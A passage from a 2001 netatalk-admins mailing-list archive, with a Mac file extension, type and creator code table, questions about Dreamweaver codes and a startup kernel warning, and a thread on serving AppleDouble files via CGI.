=2Ept3<x-tab>&nbsp;&nbsp; </x-tab>ALT3<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>ALD3<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># PageMaker 3 Template
=46ile<br>
=2Ept4<x-tab> </x-tab>ALT4<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>ALD4<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># PageMaker 4 Template
=46ile<br>
=2Ept6<x-tab> </x-tab>ALT6<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>ALD6<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># PageMaker 6 Template
=46ile<br>
=2Epts<x-tab> </x-tab>PRT1<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>PLP1<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Adobe<br>
=2Epub<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>PUBF<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>ALD2<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># PageMaker 2<br>
=2Epxr<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>PXR<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>8BIM<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Pixar Image
(Photoshop)<br>
=2Eqrk<x-tab>&nbsp;&nbsp; </x-tab>XDOC<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>XPR3<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># QuarkXPress v3.x<br>
=2Eqt<x-tab>&nbsp;&nbsp; </x-tab>MooV<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>TVOD<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Quicktime Video (Movie
Player)<br>
=2Eqxl<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>XLIB<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>XPR3<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># QuarkExpress
Library<br>
=2Eqxt<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>XTMP<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>XPR3<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># QuarkXPress 3.x Template<br>
=2Erif<x-tab>&nbsp; </x-tab>RIFF<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>GKON<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># RIFF Image
(GraphicConverter)<br>
=2Erpl<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>FRL!<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>REP!<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Replica Viewer
=46ile<br>
=2Ertf<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>RTF<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>MSWD<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Rich Text Format
(Word)<br>
=2Esct<x-tab>&nbsp;&nbsp; </x-tab>..CT<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>8BIM<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Scitex CT Image
(Photoshop)<br>
=2Esea<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>APPL<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>aust<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># StuffIt Self-Extracting<br>
=2Esit<x-tab>&nbsp;&nbsp; </x-tab>SITD<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>SIT!<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Stuffit Archive<br>
=2Eslk<x-tab>&nbsp;&nbsp; </x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>PLAN<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Symbolic Link<br>
=2Espn<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>SPEN<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>DAD5<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Canvas(tm) 5 Pens<br>
=2Et65<x-tab> </x-tab>AT65<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>AD65<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># PageMaker 6.5
Template</div>
<div>.tar<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>TARF<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>TAR<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab># Archive File<br>
=2Etbl<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>ATB2<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>TBF2<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># Adobe(r) Table 2.5-Document<br>
=2Etga<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>TARG<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>GKON<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># Targa Image (GraphicConverter)<br>
=2Etgz<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>Gzip<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>SIT!<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># UNIX TAR/GZip Archive
(Stuffit)<br>
=2Etif<x-tab>&nbsp;&nbsp; </x-tab>TIFF<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>8BIM<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># TIFF Image
(Photoshop)<br>
=2Etml<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>ATBX<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>TBF2<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Adobe(r) Table
2.5-Stationary<br>
=2Etpl<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>drwt<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>DAD5<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Canvas(tm) 5 document
template<br>
=2Ettf<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>tfil<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>FONT<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># TrueType Font<br>
=2Etxt<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>ttxt<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># ASCII File
(SimpleText)<br>
=2Eurl<x-tab>&nbsp;&nbsp; </x-tab>LINK<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>MSIE<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># URL File (Internet
Explorer)<br>
=2Euue<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>uuUN<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># UU Encoded File (uuUndo)<br>
=2Evoc<x-tab>&nbsp; </x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>SCPL<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Sound Blaster File
(SoundApp)<br>
=2Evst<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>TPIC<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>8BIM<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Targe Image
(Photoshop)<br>
=2Ewav<x-tab>&nbsp;&nbsp; </x-tab>WAVE<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>SCPL<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># WAV Sound File
(SoundApp)<br>
=2Ewdb<x-tab> </x-tab>AWDB<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>MSWK<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># MS Works Database<br>
=2Ewk<x-tab>&nbsp; </x-tab>LWKS<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>L123<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Budget Calculator<br>
=2Ewk1<x-tab> </x-tab>LWKS<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>XCEL<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Lotus 123<br>
=2Ewk3<x-tab> </x-tab>123D<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>L123<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Lotus 1-2-3-Database
=46ile<br>
=2Ewks<x-tab> </x-tab>AWSS<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>MSWK<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># MS Works
Spreadsheet<br>
=2Ewmf<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>GKON<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># Win Metafile (GraphicConverter)<br>
=2Ewp<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>.WP6<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>WPC2<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># WordPerfect Doc PC
v6.x, 7.x<br>
=2Ewp2<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>WPD2<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>WPC2<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># WordPerfect II Document<br>
=2Ewpd<x-tab>&nbsp;&nbsp; </x-tab>WPD3<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>WPC2<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># WordPerfect 3.x<br>
=2Ewpg<x-tab>&nbsp;&nbsp; </x-tab>WPG2<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>WPC3<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># WordPerfect
Graphic<br>
=2Ewps<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>AWSS<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>PSI2<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># MS Works Spreadsheet 2.0<br>
=2Ewpt<x-tab>&nbsp; </x-tab>sPD3<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>WPC2<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># WordPerfect 3
Template<br>
=2Exlb<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>XLB5<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>XCEL<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Excel 5 Tool Bar<br>
=2Exlc<x-tab>&nbsp; </x-tab>XLC5<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>XCEL<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Excel 5 Chart<br>
=2Exlm<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>XLM5<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>XCEL<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Excel 5 Macro<br>
=2Exls<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>XLS5<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>XCEL<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Excel 5 Worksheet<br>
=2Exlt<x-tab> </x-tab>XLT<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>XCEL<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Excel Template<br>
=2Exlw<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>XLW5<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>XCEL<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Excel 5 Workbook<br>
=2Exnk<x-tab>&nbsp; </x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>EXCH<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Microsoft Exchange<br>
=2Ez<x-tab>&nbsp; </x-tab>ZIVU<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>SIT!<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Compress File
(Stuffit)<br>
=2Ezip<x-tab>&nbsp;&nbsp; </x-tab>ZIP<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>ZIP<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab># ZIP Archive
=46ile</div>
<div>.zoo<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>Booz<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># ZOO Archive</div>

<div>-- <br>
Viele Gr=FC=DFe<br>
J=FCrgen Weltzer<br>
<br>
- - - - - - - - - - - - - - - - - - -<br>
Werbeagentur Weltzer<br>
Max-Eyth-Stra=DFe 8<br>
71065 Sindelfingen<br>
Tel. +49 (0) 70.31.81.32.31<br>
=46ax +49 (0) 70.31.81.16.01<br>
http://www.w-ww.de/<br>
- - - - - - - - - - - - - - - - - - -<br>
<br>
Windows95/98/NT: 32 bit extension and a graphical shell for a 16
bit<br>
patch to an 8 bit operating system originally coded for a 4 bit<br>
microprocessor, written by a 2 bit company, that can't stand 1 bit
of<br>
competition</div>
</body>
</html>
--============_-1229425905==_ma============--

From netatalk.administrators-errors@umich.edu  Tue Feb 20 14:54:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA16974
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Feb 2001 14:54:03 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA01012
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Feb 2001 14:54:03 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA00986
	for netatalk.administrators-members@umich.edu; Tue, 20 Feb 2001 14:54:02 -0500 (EST)
Received: from cnp4tssm.condenast.com (cnp4tssm.condenast.com [204.252.201.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA00884
	for <netatalk-admins@umich.edu>; Tue, 20 Feb 2001 14:54:00 -0500 (EST)
From: Steve_Kreuzer@condenast.com
Received: from Beethoven.condenast.com (localhost [127.0.0.1])
	by cnp4tssm.condenast.com (Pro-8.9.3/8.9.3) with SMTP id OAA11659
	for <netatalk-admins@umich.edu>; Tue, 20 Feb 2001 14:53:55 -0500 (EST)
Received: by Beethoven.condenast.com(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id 852569F9.006D3C92 ; Tue, 20 Feb 2001 14:53:09 -0500
X-Lotus-FromDomain: CNP
To: netatalk-admins@umich.edu
Message-ID: <852569F9.006D3857.00@Beethoven.condenast.com>
Date: Tue, 20 Feb 2001 14:52:20 -0500
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline



subscribe



From netatalk.administrators-errors@umich.edu  Tue Feb 20 15:06:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA17420
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Feb 2001 15:06:46 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA25062
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Feb 2001 15:06:38 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA25033
	for netatalk.administrators-members@umich.edu; Tue, 20 Feb 2001 15:06:37 -0500 (EST)
Received: from c017.sfo.cp.net (c017-h015.c017.sfo.cp.net [209.228.12.229])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id PAA24971
	for <netatalk-admins@umich.edu>; Tue, 20 Feb 2001 15:06:35 -0500 (EST)
Received: (cpmta 9107 invoked from network); 20 Feb 2001 12:06:41 -0800
Received: from www.waaaow.com (HELO ?192.168.0.50?) (207.171.221.217)
  by smtp.terrascope.com (209.228.12.229) with SMTP; 20 Feb 2001 12:06:41 -0800
X-Sent: 20 Feb 2001 20:06:41 GMT
Mime-Version: 1.0
Message-Id: <p04320401b6b87dfed38e@[192.168.0.50]>
Date: Tue, 20 Feb 2001 12:09:13 -0800
To: netatalk-admins@umich.edu
From: Walt Reed <walt@mail.terrascope.com.criticalpath.net>
Subject: AppleVolumes.system
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

does anyone have the extention, type and creator codes for 
dreamweaver?  i have a friend running netatalk on a solaris box & his 
users are having trouble w/ sharing the dreamweaver files.  i'd like 
to write him a line for the AppleVolumes.system  file, but we don't 
run dreamweaver here and when i asked him to look them up in the file 
exchange control panel on the mac he wasn't able to do it (windows 
guy who's trying to get a handle on unix).  does anyone have the line 
in their AppleVolumes.system?

thanks in advance,

walt reed
systems administrator
terrascope

From netatalk.administrators-errors@umich.edu  Tue Feb 20 15:14:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA17624
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Feb 2001 15:14:33 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA20924
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Feb 2001 15:14:33 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA20884
	for netatalk.administrators-members@umich.edu; Tue, 20 Feb 2001 15:14:32 -0500 (EST)
Received: from cnp4tssm.condenast.com (cnp4tssm.condenast.com [204.252.201.5])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA20849
	for <netatalk-admins@umich.edu>; Tue, 20 Feb 2001 15:14:30 -0500 (EST)
From: Steve_Kreuzer@condenast.com
Received: from Beethoven.condenast.com (localhost [127.0.0.1])
	by cnp4tssm.condenast.com (Pro-8.9.3/8.9.3) with SMTP id PAA17590
	for <netatalk-admins@umich.edu>; Tue, 20 Feb 2001 15:14:27 -0500 (EST)
Received: by Beethoven.condenast.com(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id 852569F9.006F1B8D ; Tue, 20 Feb 2001 15:13:35 -0500
X-Lotus-FromDomain: CNP
To: netatalk-admins@umich.edu
Message-ID: <852569F9.006F1AEA.00@Beethoven.condenast.com>
Date: Tue, 20 Feb 2001 15:12:58 -0500
Subject: Warning at Startup
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline



Hello,
I recently installed version 1.5pre3 and it seems to be working OK. However,
when I boot up my machine (Red Hat 7.0) I get an warning (perhaps error)
"kmem-grow: called nonatomically from init - size -32"
this message appears multiple times and finally I get the [OK] and then
everything appears to be working fine?

any idea what this is, and should i be worried?

-Steve



From netatalk.administrators-errors@umich.edu  Tue Feb 20 16:06:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA19080
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Feb 2001 16:06:58 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA26465
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Feb 2001 16:06:50 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA26440
	for netatalk.administrators-members@umich.edu; Tue, 20 Feb 2001 16:06:50 -0500 (EST)
Received: from postal.interaccess.com (from.interaccess.com [207.208.131.20])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA26400
	for <netatalk-admins@umich.edu>; Tue, 20 Feb 2001 16:06:48 -0500 (EST)
Received: from [192.168.1.118] (a10.240.208.207.ded25.interaccess.com [207.208.240.10])
	by postal.interaccess.com (8.10.2/8.10.2) with ESMTP id f1KL6r111243
	for <netatalk-admins@umich.edu>; Tue, 20 Feb 2001 15:06:53 -0600 (CST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 20 Feb 2001 15:06:13 -0600
Subject: Re: AppleVolumes.system
From: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6B83864.1196D%bucky@interaccess.com>
In-Reply-To: <p04320401b6b87dfed38e@[192.168.0.50]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

type  creator
TEXT  DmWr

And here's the contents of a DreamWeaver Extensions.txt file:

  HTM,HTML,ASP,CFM,CFML,TXT,SHTM,SHTML,STM,INC,PHP,PHP3,LASSO,XML:All
Documents
  HTM,HTML:HTML Documents
  SHTM,SHTML,STM,INC:Server-Side Includes
  XML:XML Files
  LBI:Library Files
  DWT:Template Files
  CSS:Style Sheets
  ASP:Active Server Pages
  CFM,CFML:Cold Fusion Templates
  TXT:Text Files
  PHP,PHP3:PHP Files
  LASSO:Lasso Files

It's extensible, so you'll want to keep on top of what your users are using.

-B...

> From: Walt Reed <walt@mail.terrascope.com.criticalpath.net>
> Date: Tue, 20 Feb 2001 12:09:13 -0800
> To: netatalk-admins@umich.edu
> Subject: AppleVolumes.system
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Tue, 20 Feb 2001 15:13:51 -0500 (EST)
> 
> does anyone have the extention, type and creator codes for
> dreamweaver?  i have a friend running netatalk on a solaris box & his
> users are having trouble w/ sharing the dreamweaver files.  i'd like
> to write him a line for the AppleVolumes.system  file, but we don't
> run dreamweaver here and when i asked him to look them up in the file
> exchange control panel on the mac he wasn't able to do it (windows
> guy who's trying to get a handle on unix).  does anyone have the line
> in their AppleVolumes.system?
> 
> thanks in advance,
> 
> walt reed
> systems administrator
> terrascope
> 


From netatalk.administrators-errors@umich.edu  Tue Feb 20 18:05:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA24591
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Feb 2001 18:05:37 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA29390
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Feb 2001 18:05:37 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA29366
	for netatalk.administrators-members@umich.edu; Tue, 20 Feb 2001 18:05:36 -0500 (EST)
Received: from austin-jump.vircio.com ([216.30.106.234])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id SAA29249
	for <netatalk-admins@umich.edu>; Tue, 20 Feb 2001 18:05:32 -0500 (EST)
Received: (qmail 5888 invoked by uid 104); 20 Feb 2001 23:05:31 -0000
Received: from cwg-dated-31581d2f1b515f68@deepeddy.com by austin-jump.vircio.com with qmail-scanner-0.90 (uvscan: v4.0.50/v4115. . Clean. Processed in 0.291106 secs); 20/02/2001 17:05:31
Received: from deepeddy-austin.deepeddy.com (HELO deepeddy.vircio.com) ([10.254.254.253]) (envelope-sender <cwg-dated-31581d2f1b515f68@deepeddy.com>)
          by funinacapulco.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 20 Feb 2001 23:05:31 -0000
Received: (qmail 854 invoked by alias); 20 Feb 2001 23:05:30 -0000
From: "Chris Garrigues" <cwg-dated-31581d2f1b515f68@deepeddy.com>
Received: (qmail 827 invoked from network); 20 Feb 2001 23:05:29 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) (cwg@[10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <rogers-netatalk@rgrjr.dyndns.org@fixme>; 20 Feb 2001 23:05:29 -0000
X-Mailer: exmh version 2.2_20000822 06/23/2000 with nmh-1.0.4
To: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
Cc: netatalk-admins@umich.edu
Subject: Re: Wrapping MIME around an appledouble file 
In-Reply-To: <14989.24215.245217.659577@h0050da615e79.ne.mediaone.net> 
References: <2195.982256845@deepeddy.com> <14989.24215.245217.659577@h0050da615e79.ne.mediaone.net>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_276091059P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Tue, 20 Feb 2001 17:05:29 -0600
Message-ID: <823.982710329@deepeddy.com>
Mail-Reply-To: cwg-dated-31581d2f1b515f68@DeepEddy.Com

--==_Exmh_276091059P
Content-Type: text/plain; charset=us-ascii

> From:  Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
> Date:  Fri, 16 Feb 2001 12:08:39 -0500
>
>    From: "Chris Garrigues" <cwg-dated-e7ea9493218076d8@deepeddy.com>
>    Date: Thu, 15 Feb 2001 11:07:25 -0600
> 
>    I need to grab a file saved on a server using netatalk from a perl CGI and 
>    transmit it to the user.
> 
>    So far, all my attempts do is to crash netscape with an error of type
>    3.  This makes it kinda hard to debug.
> 
>    Has anybody done this?  Is there anything special I have to do to the data?
> 
> My guess is that the .AppleDouble part is blowing Netscape's poor little
> mind, since it is actually binary data rather than 8-bit text.  I would
> try sending it using base64 encoding; you can pipe it through the
> attached helper app, courtesy of the vm mail reader (version 6.89,
> (http://www.wonderworks.com/vm).
> 
>    Deciding how to encode the data fork might be trickier . . . base64
> should be sufficient, though probably overkill in many cases.
> 
>    And then there's the problem of saving these properly on the
> receiving end.  Has anybody ever heard of a MIME standard for Mac files?
> Failing that, you might want to try sending a Mac file from a Mac, and
> see how Netscape (or whatever) encodes the data fork (if at all).  If it
> does, and the format is not too hard to generate, that might be a better
> solution.

Nice thought, but it turns out that HTTP explicitly does not support 
content-transfer-encoding and assumes 8 bit data.  When I changed it to 
base64, the mac browser simply froze.

When I tried to transfer an ordinary file with a content-transfer-encoding: 
base64 to my unix box, it simply ignored the content-transfer-encoding as one 
would expect from what I said above.

So, I'm still stuck at the same point.  Any other theories why Nutscrape 
doesn't like what I'm doing.

I'm beginning to wonder if multipart/appledouble is even supported at all.  Do 
any of the Mac based web servers allow the download of mac files, and if so 
what mime type do they use?

How would i convert these two parts into an applesingle file so I could try 
sending them that way.

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    Nobody ever got fired for buying Microsoft,
      but they could get fired for relying on Microsoft.



--==_Exmh_276091059P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE6kvg5K9b4h5R0IUIRApqkAJ44qn6M0mZn94dLcFqkcDpVNmbZ3wCeOz4t
Zahn26kFz/Djz3mn87HL/Rk=
=1seo
-----END PGP SIGNATURE-----

--==_Exmh_276091059P--

From netatalk.administrators-errors@umich.edu  Tue Feb 20 18:41:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA25883
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Feb 2001 18:41:35 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA24290
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Feb 2001 18:41:35 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA24268
	for netatalk.administrators-members@umich.edu; Tue, 20 Feb 2001 18:41:34 -0500 (EST)
Received: from clavin2.unet.brandeis.edu (clavin2.unet.brandeis.edu [129.64.99.33])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA24234
	for <netatalk-admins@umich.edu>; Tue, 20 Feb 2001 18:41:33 -0500 (EST)
